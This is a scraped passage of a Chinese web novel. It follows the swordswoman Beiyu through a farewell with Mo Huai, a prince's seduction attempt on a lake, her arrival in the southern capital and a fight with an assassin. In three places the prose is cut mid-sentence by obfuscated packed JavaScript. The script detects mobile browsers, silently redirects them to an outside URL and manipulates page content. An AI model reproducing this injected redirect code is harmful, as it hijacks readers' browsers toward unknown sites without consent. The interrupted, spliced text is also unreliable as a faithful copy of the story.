外界喧嚣却没有打扰到北羽,她每天专心呆在不凡茶馆指点莫淮。 魔神策就像专门为莫淮量身打造的一样,他入门极快,武功境界的提升更快到匪夷所思。 镜悬武学分六境,初悟、除尘、忘凡、虚空、羽化、逍遥游。 莫淮仅用一个月,就入了忘凡境,须知,许多天资平平的习武者,可能一辈子也就止步忘凡。 北羽一生下来就是虚空境,悟出太上忘情剑法第二式后,直接成了羽化境高手,没有感受过提升境界的困难。 为此,她特地问了叶一片、玄北离,他们二人的天赋在普通人中算顶尖的,修行到虚空境也花了不少功夫。 对比之下,莫淮简直是呼吸练功就在提升。 北羽甚至都怀疑,莫淮跟她一样也是仙人资质。 可她出生的时候,天降祥瑞,轰动镜悬,师父乌去云出生之时,虽没她阵仗大,但也是霞光满天,紫气东来。 莫淮如果身负仙资,出世那一天,也会有极其醒目的异象,绝不会沦落到东海斗兽场里去的。 屋顶秋风瑟瑟,北羽入定般沉思。 “莫淮,你真不记得小时候的事了?” “只依稀记得小时候一直有人照顾我。后来有天夜里,他们急匆匆带我跑掉,又半途弃我于破庙,再后来,我就被卖进斗兽场了。” “那些人的样子,你还有印象吗?” “没有……连当时住在哪里,我都模模糊糊,好像有关身世的记忆,被抹得只剩一星半点的残渣。” 北羽好奇得抓心挠肝,莫淮究竟有怎样的身世呢,她往嘴里塞了把糖豆,嘎嘣脆响。 莫淮垂下头,看着糖豆袋子,那些人将他丢进破庙的时候,还说,一定回来找他呢。 他甩甩头,不再去想这些无关紧要的陈年往事,问北羽:“只有一个人陪你去南境,要是有人欺负你怎么办?” “欺负我?开玩笑,从小到大,只有我欺负别人的份。” 北羽拍拍手指上的糖霜,“想当年,我刚到学宫,人生地不熟,身边只有我表哥云笙弦,很多小屁孩看我俩形单影只,想欺负我们。 我就带着表哥打遍学宫无敌手,一直打到外面三条街,那些小屁孩个个管我叫大姐。就连南戏霖、叶一片、玄北离他们三个,也败在我拳头底下。” 北羽伸了个懒腰,躺倒在瓦片上。 “那个镇北王府的李一白多横啊,碰到我,也只有挨揍的份。别忘了,我现在是羽化高手,整个镜悬大陆打得过我的,不超过三十个。” 她闭上眼,也不知道南境那位护国圣女,武功如何。 “曲姐姐!” 宝珠活泼的嗓音响起,她仰头看着屋顶上的两个人,喊道:“那个八皇子来找你了。” 莫淮下意识挺直脊背,北羽连眼都没有睁,“麻烦你转告他,我没空。” “我就知道你会这么说。”宝珠笑道,“我已经替你回绝他了,他说,想今晚请你去郊外的凌波湖,为你送行。” 北羽眯开一条眼缝嗯了声,宝珠朝莫淮挤眉弄眼,然后跑开。 “宝珠最近对你不错啊。”北羽道,总替某人把慕容楚轩挡在外面。 “张公子跟她订婚的功劳,她分了两半,一半给她自己,一半给了我和玉怜真。”莫淮笑道。 那日挡匪救人计划失败,宝珠以为她和张之遥玩完了,不料,过了两天,张之遥自己找上门,跟宝珠表白。 原来,他早就喜欢上宝珠,只是宝珠声名在外,附近俊俏少年都被她玩了个遍,张之遥十分担心宝珠对他是一时兴起,故而一直隐瞒爱意。 宝珠拉莫淮闹了场荒唐事,倒叫张之遥感受到她无可奈何,出此下策的深情。 于是,张之遥不再藏着掖着,表明心迹。 掌柜舍不得嫁女,他就打算卖了家中铺子入赘,两家谈婚谈得很顺遂。 “北羽!北羽!” 熟悉的声音吓得北羽一激灵,抬手就去推莫淮,“南戏霖来了!快藏起来!千万不能让他看见你的脸,否则,他肯定把你扒个底朝天!” 莫淮跳到院墙外。 南戏霖找到后院,掐腰望着站在屋顶上的北羽,“你天天往茶馆跑,到底在干什么?跟那个莫淮玩吗?他人在哪。” “刚刚出去了。”北羽跳下去,捋了捋衣裙,“你怎么突然来了。” “马上启程了,跟你聊聊南境。”南戏霖带北羽去了前院茶馆,他包了一间雅房,点了壶大红袍。 北羽疑惑道,“你发横财了?喝这么贵的茶。” “陪你去南境比武属于公务,老爹拨了一大笔钱给咱俩路上花。” 南戏霖品了口茶,将别在腰间的团扇取下,“呐,这是南境乾元城最新鲜的物件,上至王公贵族,下至贩夫走卒,都在谈论它。” 北羽举起扇子,扇画是一条河飘着船舱,双面各写着一阕词。 “不是多精美的东西,也就词写的不错,凭何能耐在皇都盛行?” “凭写下这两首词的人,是南境太子欧阳寂。” 欧阳寂,对北羽来说这个名字不算陌生,戏本里他是忧愁多思的太子,演义里他是夹在南境和南蛮中命运多舛的可怜人。 北羽重新读了团扇上的两阕词。 洛江春水漾波清,柳岸啼莺三两声。点风拨弄弦声脆,拂袖凭阑吟几重。 相望久,独愁深。两地相思两地心。待到清明烟雨后,泪湿衣襟不自禁。 …… 洛江春水绿波寒,青青柳外翠鸣残。美人拂袖独倚阑,点风拨弄弦声脆。千里相望隔云山,忧思何处是乡关。 北羽:“难怪天心女帝不喜欢这个儿子,我要是她,我也不喜欢。” 天下谁人不知,天心女帝厌恶她曾经做过南蛮王后这件事。欧阳寂连作两词,暗指他有两族血脉,明摆着打他母皇的脸。 南戏霖:“天心女帝唯有欧阳寂一个活着的孩子,再不喜欢他,也只能封他为太子。别看南境储君之位已定,朝堂局势远比北境复杂多了。” 北羽向来只听轶闻趣事,不理睬国家大事,南境那边的朝廷局势,她自是不懂。 南戏霖将乾元城中的暗流涌动娓娓道来。 当今南境朝廷共有三大势力,以公孙氏为首的世家权贵,以副相辰雪雪为首的寒门官员,以及手握军权的大将军韩誉年。 前两者近年来屡起纷争,大有水火不容的架势,后者保持中立。 天心女帝虽作壁上观,却十分宠信辰雪雪,冷落太子欧阳寂,使得南境朝堂的水愈发浑浊,深不可测。 南戏霖:“此番受邀演武,输赢自然重要,但我们更要小心行事,一旦不慎卷进南境权斗,沦为一方棋子或者手中刀,那就糟糕了。” “听起来好麻烦。” 此刻北羽真想变成一条金鱼,跳进水里咕噜咕噜吐泡泡,以来彰显不满。 “世上到处都是麻烦。”南戏霖自顾自倒茶,“方才,我碰上了八皇子,他似乎要给你饯行。” “是,也不知道,他葫芦里装的什么药。” 南戏霖轻轻一笑,“装的风花雪月呗。” “我提醒你一句,他到底是个皇子,陷进情字里爬不出来,难保日后做出什么事。” “他还能吃了我吗?” 北羽不以为意。 茶馆后院,宝珠一脸凝重看着莫淮,“我刚才讲的话,你听进去没?” 莫淮有些为难,“八皇子给北羽践行,我偷偷跟着去,哪里像话。” “去不去随你,我敢打保票,八皇子憋了大招,要是曲姐姐被他迷惑,你就得打一辈子光棍了。” 宝珠长吁短叹,念叨着孺子不可教也,牵起一旁张公子的嫩手,扬长而去。 莫淮不由深思起来。 …………… 天枢城郊外的凌波湖,湖面开阔,风景秀丽,有些贵族富豪城里待腻了,会选择此地踏青游湖,北羽也来玩过,实属没什么新鲜的。 慕容楚轩的属下请她上了一艘精巧别致的画舫,泛舟湖中。 月朗星稀,水面银波叠叠。 北羽坐在船头,渔火引来成群锦鲤,红的黄的白的,摇尾随行,胖头胖尾,颇为可爱。 “大半天过去了,八皇子人呢?”她有点失去耐心。 摇桨的随从笑道,“北小姐,您听。” 飘渺琴声,幽幽荡漾,一艘小船摇曳驶来。 琴声时而清亮,时而低沉,金声玉振,细腻含情,北羽凝神倾听,仿佛置身高山之巅,闻鹤唳霜天。 好琴音,妙啊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491629|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她抬头望去,慕容楚轩独坐船中抚琴,一袭轻薄的白纱衣随风飘舞,隐约可见玉肌冰骨,他本就生的锐丽秀美,如今穿一身白,愈发脱俗。 民间有一句俗语,月下观花,灯下观美人。 如今慕容楚轩置身月色下,端坐昏黄烛火里,当真如倾国名花,含苞欲放。 北羽看直了眼。 船与船相停,慕容楚轩伸出手,将北羽接到他的船中。 他含情脉脉,北羽撇过脸去看琴,轻轻拨弦,其音清脆,问道:“这把琴极好,用桐木做的吧。” “对。它叫凤梧,还有一把同样的琴叫凰桐,是一对。” “两把琴都是宫里陈年的老物件,不知由哪位名家所制,昔年朝阳郡主出嫁,带走了凰桐,凤梧就留在了太后宫中,太后驾崩后再也没人弹它。” 慕容楚轩嗓音柔软,眼角眉梢皆是笑意,北羽闻到一股淡淡的清香,很动人,也很撩人。 不行,再这样下去,她就被迷昏头了。 北羽睁了睁眼,“大冷天,你光穿一层纱,不嫌冻啊。” “身上虽然冷,但心里不冷。” 慕容楚轩又往她身边凑近了点,他的领口宽松,北羽稍微一低头,就什么都看见了。 从未见过这种架势的北羽,脸不争气地红了。 慕容楚轩把手轻轻搁在她膝上,柔声道:“今夜风凉,你冷吗?” 北羽这才留意到,他的腿也在轻纱中若隐若现。 天呐,里面该不会什么都没穿吧! 北羽猛地站起来,快步走到船头,一摸自己的脸,发现烫起来了。 随后,那股幽香贴近。 “你此去南境,我们会有好几个月见不到,想想我就伤心。” 北羽咽咽口水,换作平常,她早一句那又怎样甩过去了,但慕容楚轩今夜过分好看,她竟然色迷心窍起来,不好意思戳破他的小手段。 北羽看向远处月色湖光,心想,绝不能回头。 慕容楚轩唤了她两声,见她不应,一个眼神给到船尾的侍卫。 船身忽然一晃,慕容楚轩假装站不稳,呀了一声,北羽无奈转身扶住他。 “佰怜松,你好歹有虚空境的武功,演戏也不用演到这个份上。” “这不叫演戏,叫诡计。” 慕容楚轩去勾她的手,往纱衣里放。 北羽僵了半截身子,堂堂皇子,如此作派,也不怕别人笑话。 雅香淡淡,风情旖旎。 北羽晕乎乎的,觉得像在抚摸一匹丝滑锦缎。 慕容楚轩心里也打鼓似的,事已至此,再没有更好的时机,他只能赌北羽有良心,不会玩了就跑。 扑腾! 水花飞溅。 微弱的响声,惊醒北羽。 她下意识看向船边,熟悉的糖豆子浮在水面之上,鲤鱼群以为是粮食,一拥而上,狂甩尾巴。 北羽朝岸边望去,隔着遥远的距离,隔着茫茫夜色,她竟然一眼就看清了一道人影,那轮廓太熟悉了,她喊道:“莫淮!” 人影转身往树林里去。 北羽感到十分奇怪,运功起身,脚下轻点,掠过凌波湖面,慕容楚轩的声音被她抛在身后,湿漉漉的鞋底踏上柔软泥土。 “莫淮,是你来了吗?” 周围漆黑一团,婆娑树影发出窸窣声。 莫非她看错了? 北羽犹豫要不要回船上,前面突然传来几声猫叫。 她拨开草丛,发现一条撒满萤粉的小道,一闪一闪,像铺了一路星辰。 她好奇沿着小道走去,路的尽头,传来鸟鸣般亮而柔弱的曲调,爬满萤火虫的大树下,一身黑衣的莫淮,手拿一片竹叶,吹着小调。 他墨发散开,肌肤冷白,宛如玉雕,眉宇间是挥之不去的淡淡忧愁,眼神却十分温柔望着北羽。 北羽静静听他吹完这首莫名熟悉的小曲。 “柳叶,有留的意思,你想留住我吗?” “千里送君折杨柳,泪痕沾袖几时休。阳关谁复吟离曲,独上残阳望远州。既然你去意已决,我就一直等你回来。”莫淮神色认真。 北羽抿唇一笑伸出手去,却不知该落在哪里。 莫淮握住她的手,鼓起勇气,轻轻抱住她。 他衣领上的皂香清淡,比不了价值连城的昂贵香料,一片柳叶也敌不过古琴妙音,但北羽只觉得这个怀抱格外温暖。 她摸上莫淮的脸庞,比寻常人体温更低一点。 温热的并不是他的躯体,而是她。 意识到这一点,北羽的心仿佛草木抽芽般悸动,侧过头,在他脸上落下一吻。 莫淮瞳孔震颤。 今夜万物皆是甜滋味。 33. 卷二·南境演武 北羽和南戏霖走的那天,断桥渡的风很大,学宫商船的金叶祥云旗帜肆意飘扬。 叶一片跟云笙弦围住南戏霖,“你走了,我们吃什么!只有你会给我们做夜宵吃啊。” “是啊,吃什么!” “北羽呀,以后南戏霖做的饭,只有你能吃上了。” 南戏霖推开他们,“去、去!等着在梦里吃我的菜,喝我的汤吧。” 北羽则在一边叮嘱玄北离:“千万替我把凤梧保养好,然后再想办法从你娘那儿把凰桐弄来。这样等我回来,咱们就能合奏琴曲了。” 前日被她抛下后,慕容楚轩似是受了打击,将凤梧送到学宫,便再未露面。 莫淮也是,自从被她亲了一口,就躲了起来。 不过,这正合她意。 慕容楚轩花花肠子太多,她也怕自己把持不住闯祸。 至于莫淮,她有些后悔亲了他。 这么一闹,继续做朋友别扭,做情人又感觉差了点什么。索性先不见面,一切等她从南境回来再说。 时辰到了,北羽与南戏霖却迟迟不愿走,一味与其余三人腻歪,自七年前起,五人几乎日日相聚,骤然分离,总有万般不舍。 直到船等不及了,两人才从搭好的板子上跳过去。 北羽浓密的长发被风吹得像蒲公英,恋恋不舍挥手,看着好友们慢慢变成一个个小黑点。 学宫商船沿着江河南下,从天枢城驶到天权城,然后穿越西海无涯海峡,最终抵达南境皇都乾元城,花费一个月半。 这是从北境皇都去南境皇都最快的水路,也是最繁华的商线之一,被誉为镜悬黄金流。 当年南戏霖就随海刀夫子走过一遍。 即便已经是十年前的事了,但他依然记得商船靠岸停泊的港口,附近有哪些好吃的好玩的,甚至能准确无误地领北羽找到。 薛城三鲜斋的羊汤鲜香天下第一,天枢城百糕记的枣糕没有岐镇路边摊卖的好吃,青山酒楼的腌笋滋味一绝。 北羽吃香喝辣的同时,不禁感慨南戏霖的好脑子。芝麻粒大小的事物,他都能记得一清二楚,过目不忘,真是个搞情报的人才。 南戏霖也没有辜负北羽的期望,一直为她追查月冷花的动向,有了乾元城这个线索,他还真挖出了东西。 站上乾元城渡口曲江池的那一刻,北羽的心是激动的。 长这么大,她第一次出这么远的门,从北境到了南境,而且直接到了皇都。 鸿胪寺安排了一个姓金的典客丞接待他们,带了乌泱泱一堆人,专门辟开一条道。 金典丞笑容满面,道:“学宫的贵客远道而来,一定累了,四方馆的厢房已经打点妥当,只等二位入住了。” “六日后的酉初,宫里派马车来接二位前去赴宴。每年这个日子,皇上都会设寒宴赏菊,受邀者皆是皇亲贵胄。” “那你们的圣女辰雪雪也在其中喽?”北羽问道。 “当然,圣女殿下可是皇上最宠爱的臣子,深受皇恩,有时候连太子殿下都比不过她。” 金典丞请北羽和南戏霖上了马车,往驿馆去,每逢古迹,他便舌灿莲花,将来历典故娓娓道来。 北羽听得入迷。 天枢城昔日的主人是学宫,慕容皇族上位后,为了抹掉前任统治者的痕迹,动了不少城里的古迹,不像乾元城最初就是由欧阳一族管治。 星宫统治镜悬的时候,欧阳一族匍匐在星神脚下,自诩为神仆。 东海心帝辰胜天统治镜悬的时候,欧阳一族则俯首称臣,恭顺听从帝命。 他们的卑躬屈膝,反而使乾元城千年来,城郭如旧,底蕴深沉。 曌国覆灭后,他们也是熬出头,成了名正言顺的欧阳皇室。 临近驿馆之时,南戏霖叫停马车,拉北羽下车步行一段路,然后进了一家酒肆,在三楼靠窗处坐下,竖起耳朵探听四方声音。 “听说了吗,前段日子,太子入宫面圣,遭了好一顿训斥。”邻桌的粉衣女子道。 “早就听说了。”坐她对面的黄衣女子道,“不就因为那两首词嘛。” “那日太子乘舟游洛湖,正巧听见有人在唱南蛮的曲子,一时来了兴致,就让公孙泽在一旁研墨,挥笔写了两首词。 结果也不知怎的,词传了出去,闹得沸沸扬扬,最终落到陛下耳朵里。 太子受了一番斥责,公孙泽更惨,一下子从御史中丞贬成了中书舍人。” 黄衣女子捧着脸,似乎不太高兴。 粉衣女子:“他有什么惨的。他爹是吏部尚书兼大学士,皇上又颇为欣赏他的才华,就算今朝被贬,来日指不定又升回去了。” 黄衣女子:“也不知道,这回寒菊宴有没有公孙泽,去年的吟菊诗,属他和太子联作的那首最好。” “是吗?依我看,还是辰雪雪作的诗好。”粉衣女子挑了挑眉,另换了一件趣事同黄衣女子聊。 北羽偏头问南戏霖,“公孙泽是谁?” “南境有名的才子,父亲是当年最先支持天心女帝的重臣。女帝登基后,公孙氏水涨船高,风头无两,如今称得上南境第一世家。” “此人极具才华,长的也很不错,曾经是太子欧阳寂的伴读,与太子的关系尤其要好。南境朝堂之中,也只有他,能跟辰雪雪相比。” 南戏霖拿起两个茶杯,“二者就像这两个杯子,一样的出色,一样的年纪轻轻就成了高官,至于关系嘛……” 他将两个茶杯哐当一碰,发出清脆声响。 “同类相斥。” 北羽还想再问些事,却听见身后阵阵骚动。 “快看呐,是圣女的仪驾!” “天啊,真是副相呢。” 酒肆众人争相挤到窗边,翘首而望。 北羽也看过去。 远处鸣锣声起,两队骑兵手持涂金长戟开道,一顶十六人抬的大轿,平稳行来,声势浩大,街道百姓一边避让,一边七嘴八舌地讨论,嘴中呼出一口口白气。 “这辰雪雪架势够大的。” “可不是嘛,太子都没她招摇。” “阵仗大点又怎样,人家是天心帝面前第一红人,换作旁人,恐怕早就上天了。” 人声如潮,翻涌在北羽耳畔,她戳戳南戏霖,“你猜辰雪雪长什么样子?” “听说很漂亮。”南戏霖随口道。 北羽偷摸上他腰间荷包,捻起一根绣花针,南戏霖吓一跳,“祖宗,你要干什么!咱们五日后就进宫了,你和她很快就会见面的!” 北羽狡黠一笑,“辰雪雪约我来乾元城,是比武的,比起在华贵宫殿里装模作样地相识,我更喜欢另一种见面方式。” 此刻,仪驾正驶过酒肆楼下。 绣花针射出,紧闭的轿帘蓦然掀起一角,一双淡如秋水的眸子,扫向楼上,酒肆窗边戴着半截狐狸面具的少女,露出一笑。 遥遥相见,惊鸿一瞥。 轿帘落下,北羽收回目光,对南戏霖笑道:“果真漂亮,简直是……” 忽然,一道暗影从轿中飞来,打断北羽的话。 她反应极快,双指轻轻夹住来物,一枚深蓝宝石耳坠,摇晃如墨。 北羽一怔,剩下的话脱口而出,“针刺一样的美貌。” …… 轿厢之中,紫衣少女摸着空空如也的左耳,微微出神,旁边的黑衣少年惊怒道,“哪来的狂徒,竟敢打落雪雪你的耳环!” “……应该是她。”辰雪雪呢喃道。 今夜的寒菊宴大约比往常有意思,因为一个即将赴宴的有趣人,刚刚送了她一份薄礼,她也回了一份。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491630|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你见过北羽吧,飞鸿。” 韩飞鸿愣住,“见过。” “北羽长什么样子?” “这……”韩飞鸿低下头,有些不好意思,“挺美的。” “比之我如何?” “啊?” 韩飞鸿懵了:“雪雪,你从不跟人比容貌的……不对,你从未跟任何人比过任何东西,因为你总觉得身边同辈人中,无一人能与你相提并论。” 辰雪雪平静道:“在我这里,比较要跟更好的比,向下比,根本没意义。北羽是一个值得我去比的人。” “比资质,她是仙骨,我是凡胎;比权势,我是副相,她是白身;比剑术,她学的是仙剑术,我练的是人间道;比境界,她是羽化境,我是……” 辰雪雪顿了一下,跳过这一点,道:“比来比去,我与她还剩容貌可比,但我不曾见过北羽,既然你见过,就帮我们二人比一比。” 说完,她盯着韩飞鸿,等着听答案。 韩飞鸿一噎,哑巴半天,才蚊子哼哼般说了一句,“她是很美很美的那种。” 辰雪雪纹丝不动,“那个子呢?” “……只比你高了一点,就一点点。” 辰雪雪的身子僵了下,后靠在软枕上,用指腹摩挲凸起的金线绣龙,闷声道:“早知如此,就不请她来南境了。” 见她受挫,韩飞鸿也跟着不开心起来。 ………… 乾元城南,公孙府。 瑞炭静静燃烧在鎏金狻猊炉中,散发热意,布满书画的屋内,一位穿素袍的年轻公子,正看着两名仆人摆放屏风。 青纱屏风,薄而透光,绣了一条蜿蜒河流,角上则写了两首词。 站在素袍公子身后的近侍踌躇劝道:“泽少爷,老爷正为了您被贬官的事生气呢,您何苦再把这两首词堂而皇之摆在寝室中,惹他老人家不痛快。” “词是太子写的。太子为君,我为臣,做臣子的把君上的佳作摆在家中,是尽忠,是天经地义,父亲不敢说什么。” 公孙泽对着摆放屏风的仆人道:“再往右一些,靠我这边。” 近侍又道:“泽少爷,半个时辰前,有人来报,残仙北羽和学宫之主的养子南戏霖住进了四方馆,皇上已经邀了二人入宫赴寒菊宴。” 公孙泽微微一笑,“那很好啊。残仙北羽,可是十六岁就入了羽化境的少年,传说中的仙骨。能见她一面,是我的荣幸。太子也会高兴的,他喜欢北羽写的那首苦春。” “南戏霖就更值得结交了。他虽然只是海刀夫子旧友的遗子,但夫子一直把他当作继承人培养,学宫长老们也挑不出他的毛病,几乎是板上钉钉的下一任学宫之主。” “备两份厚礼,等寒菊宴结束后,以公孙氏的名义送去四方馆。” 屏风摆好,公孙泽欣赏了一会儿后,去到书案,思索起一盘棋局。 良久之后,他捏起一枚黑子,正要落下,一名侍从进来通报:“泽少爷,玄衣卫那边来人了。” 公孙泽抬眸,“进。” 黑子落入棋盘,局势逆转。 一名寻常打扮的男子单膝下跪,“属下见过少主。” “什么事?” “禀少主,通宝钱庄的老板午时携带细软逃走了。” 公孙泽:“逃?真是个胆小怕事的家伙,杀了即可。暗影中的那些朋友,在乾元城还住得惯吗?” “属下正要跟您禀报此事,有几个暗影中人跟通宝钱庄的老板一块跑了,凭玄衣卫的实力,恐怕不足以杀掉那几个暗影。” 公孙泽眼神一变,捻起白子,稍稍用劲,“既然暗影中人出逃,那也该由暗影中人出手解决。找到暗影的头儿,让他派个得力的人,你们远远跟着,确保他们处置了全部叛徒便可。” “是,属下遵命。” 34. 卷二·南境演武 夜幕降临,北羽随南戏霖离开四方馆,去往神机阁在乾元城的据点——鬼市怜香楼。 一条长街好似百鬼夜行,身披暗色斗篷的买卖生意人,隐蔽于青灯黑火下,只有走路时鞋底摩擦地砖的声音。 怜香楼是唯一门口亮着明灯的铺面。 南戏霖展示手中令牌,守卫放行,北羽迈过门槛的一刻,复杂的香味铺天盖地袭来。 这种气味她从前在北境天枢城的神机阁据点也闻到过,只是不及这里的浓。 二人被领到一间狭小华丽的密室里,留着八字胡的干瘪老头坐在案前,拨弄着手指上粗壮的金戒指。 北羽对神机阁老头有阴影,于是坐在侧边,把正位留给了南戏霖。 “阁下就是林公子?” “正是。” 侏儒老头咧嘴笑道:“林公子,您的运气实在好,今个白天,我刚巧有了罗刹堂的新消息,还热乎着呢。” 南戏霖:“哦?说来听听。” “北境罗刹堂确实有一部分杀手来了乾元城,而且,还有人脱离组织,想逃。林公子,罗刹堂处置叛徒的速度很快,稍微一耽搁,尸骨就成灰了。” 北羽向前探身,南戏霖道:“那还不快把关键的东西交出来。” 侏儒老头:“嘿嘿。林公子,你是懂规矩的人,应该知道神机阁曾经有过规定,有些罗刹堂的消息不能外卖,虽然现在上面松了点,但风险依然在,您……得加钱。” 老头伸出五根手指。 南戏霖不乐意了,“按现在行情,顶多加三成。” “四成。” “两成半,不要我就换人了。” 侏儒老头不吭声。 南戏霖冷笑道:“少搁这装深沉,罗刹堂几乎闭堂,他们不接单杀人,自然就没人花钱买他们的消息,我出的价钱够高了。” 侏儒老头叹了口气,“那行吧,两成半就两成半。” 南戏霖将钱袋放在桌上,老头打开看了一眼,脸直接垮了,“林公子,你比我还黑呢,这些钱比我们一开始定的价还少呢!” “急什么,我手里现钱不多,拿消息抵。” “什么消息,能抵这么多真金白银。” 南戏霖笑了,“要是能找对买家,我这个消息你能足足翻一倍价钱卖出去。” 他低声道:“罗刹堂不肯多接杀人单,是西海分堂主阎娑风下的命令,而阎娑风之所以这么做,跟无极宫的一个大人物有关。” “什么!罗刹堂竟然跟无极宫搞到一起去了!”侏儒老头惊呆了,“林公子,你可别诓我,消息来源准吗?” “当然准。西海无极宫的九宫主伍行烈,手下的人透出的信。” 侏儒老头仿佛看见了一堆金山,当即拍板把罗刹堂出逃者的方向路线以及名单给了南戏霖。 出了神机阁后,南戏霖将信纸交给北羽,“接下来的事就靠你自己了,要小心。” “放心,打架我还没输过。”北羽拍拍他的肩膀。 “不过,你什么时候跟伍行烈搭上了关系,你不是不喜欢他吗?” “我跟他同类相斥,但他手下并非铁板一块。试剑大会的时候,无极宫弟子在天枢城颇为活泛,一来二去,总能打探出有用的东西。” 南戏霖伸了个懒腰,“行了,你快去吧,罗刹堂的动作很快的,我一个人回驿馆就可以。” 北羽点点头,搂紧斗篷,消失在夜幕中。 南戏霖朝驿馆方向走了一阵后,拐进一条小巷。 他脱掉靴子,往里面塞了两块厚鞋垫,把束起的头发散开,又抹黑了脖子和手。 然后,南戏霖回到神机阁,换了另一块令牌,见到另一位卖家。 披着银灰袍的女子岔腿坐着,端详着染了大红凤仙花的指甲,“熙公子要买乾元城哪位官员的消息?” “前左卫大将军,白鹤忠。”南戏霖夹着嗓子道。 银灰袍女子有些惊讶,“我已经许多年没有听人提过这个名字了。一个已死之人,还是南境的叛臣,熙公子想知道他的什么事?” “我想知道,他死的那天,哪位将军抄了他的府邸。” “……这个嘛,很便宜。” “我要买贵的。你所谓的便宜消息,我早就知道了,它是假的,我这回要的是真相。” 银灰袍女子坐直身子,“我没有。” 南戏霖:“你有。” 银灰袍女子转过头,思索片刻后道:“好吧,我有,但那可非常昂贵。” “我买得起。” 南戏霖闭上眼,平静道:“为了买这个消息,我筹备了十年。” ……………… 乾元城百里开外,一辆灰扑低调的马车狂奔在林中,如丝细雨垂落在骏马奔腾的蹄上,三匹马均是价值千金的万里驰。 马车内,肥头圆脑的商人怀抱一个襁褓婴儿,浑身发抖,不断冒冷汗。旁边的管事不知发生了什么,掀开车帘看向外面。 彼时,天色朦胧青白,寒雨凝冰。 “老板,都赶了一夜路,也无事发生啊。” “少说两句,关上窗!” 商人吞咽口水,额头汗珠打在婴儿脸上,婴儿乖巧异常,紧闭双眼,不哭不闹。 车内一片寂静,无人回应。 商人顿感异常,抬头看去,绿豆大的小眼猛然瞪起。 曾经替他打点钱财忠心耿耿的憨厚长脸,不知何时消失了,取而代之的是一枝粘着血珠的杏花,插在管事血淋淋的脖子上。 “啊啊!啊啊啊!” 他惊恐叫喊。 下一刻,一团银线破开车门,缠住他肥宽腰身,直接将他拽飞出去。 绵雨如针,淡淡杏花香飘逸在空中。 看着呼啸跑远的马车,商人搂紧怀里襁褓,恐惧地向后挪动。 “你是谁?我的护卫呢!” “那些叛徒已经死了。” 淡粉色的裙角走近,商人不敢看那张脸,绵软着双脚,闭紧眼迎接死亡。 就在花香逼来的那一瞬间,一道凌然剑势划过他脖颈,香味骤然远离。 商人不敢置信睁开眼,只见一个白衣少女宛若神仙般从天而降,手里握着一柄通体银白的剑,而淡粉色身影已然退至五米外。 “呵,多年未曾遇见敢拦我的人了,你知道我是谁吗?” “我知道。” “小楼一夜听春雨,明朝深巷卖杏花。” “你每一次现身杀人,都会选天色朦胧亮的雨天,当杏花香飘来,花瓣落在你目标身上的时候,他就已经人首分离,而你会把一只杏花插在无头尸首上。 所以江湖上称你为血杏花,你也是北境罗刹堂中最出名的女阎罗,排名第三。” 血杏花笑了,看着她尚显青涩的面庞,道:“既然知道我杀人不眨眼,小姑娘,你总不会是路见不平吧。” 北羽撇了一眼身后的商人,“是,也不是。” “此人名唤唐纳德,罗文城首富,前两年搬来乾元城,是一个心狠手辣的商人。曾经为了一笔生意买凶杀了对家商户全家,连刚出生的孩子都不放过。 杏花娘子这一次也算替天行道,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491631|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有理由阻拦。” 血杏花懒散摸了下发髻,“那你拦我做甚?” 北羽冷冷看向唐纳德,从他怀里夺过婴儿。 “方才阻止娘子,是为了救这个孩子。他不是唐纳德的血脉,而是唐纳德为了替换自己儿子,杀了一名瞎眼乞丐抢来的。 现在,我不会妨碍娘子了。” 花香起,人头落。 血杏花完成任务,转将杀机对准白衣少女。 “你对今天发生的事一清二楚,你的消息一定是从神机堂买的。罗刹堂杀手的行踪很贵,你不为唐纳德而来,就是为我而来。” 北羽歪头一笑,清新如雨中荷花,“杏花娘子聪慧,但有一点说得不准确。” “我也不算为你而来,我真正想见的人,身价实在太贵,只好迂回一下,买了你的踪迹,希望你为我引见那人。” “谁?” “月冷花。” 血杏花脸色骤变,数缕银丝线带着杏花瓣围住北羽。 北羽护好怀中婴儿,挥出一剑。 这一剑,凝固了万千寒雨珠,剑气轻易斩断了以柔韧锋利著称的凶器银丝绞,无数雨珠裹挟剑意呼啸奔向血杏花。 血杏花心中大惊,以内力格挡,却仍然被震出一口鲜血。 南境内的少女,不,是整个天下十几岁的少年中,都不该有与羽化境宗师的恐怖实力。 而且,白衣少女的剑术太高超了。 血杏花心中一凛:“阁下究竟是谁!为何见月冷花?” 北羽收剑回鞘。 “圣剑山,北羽。” 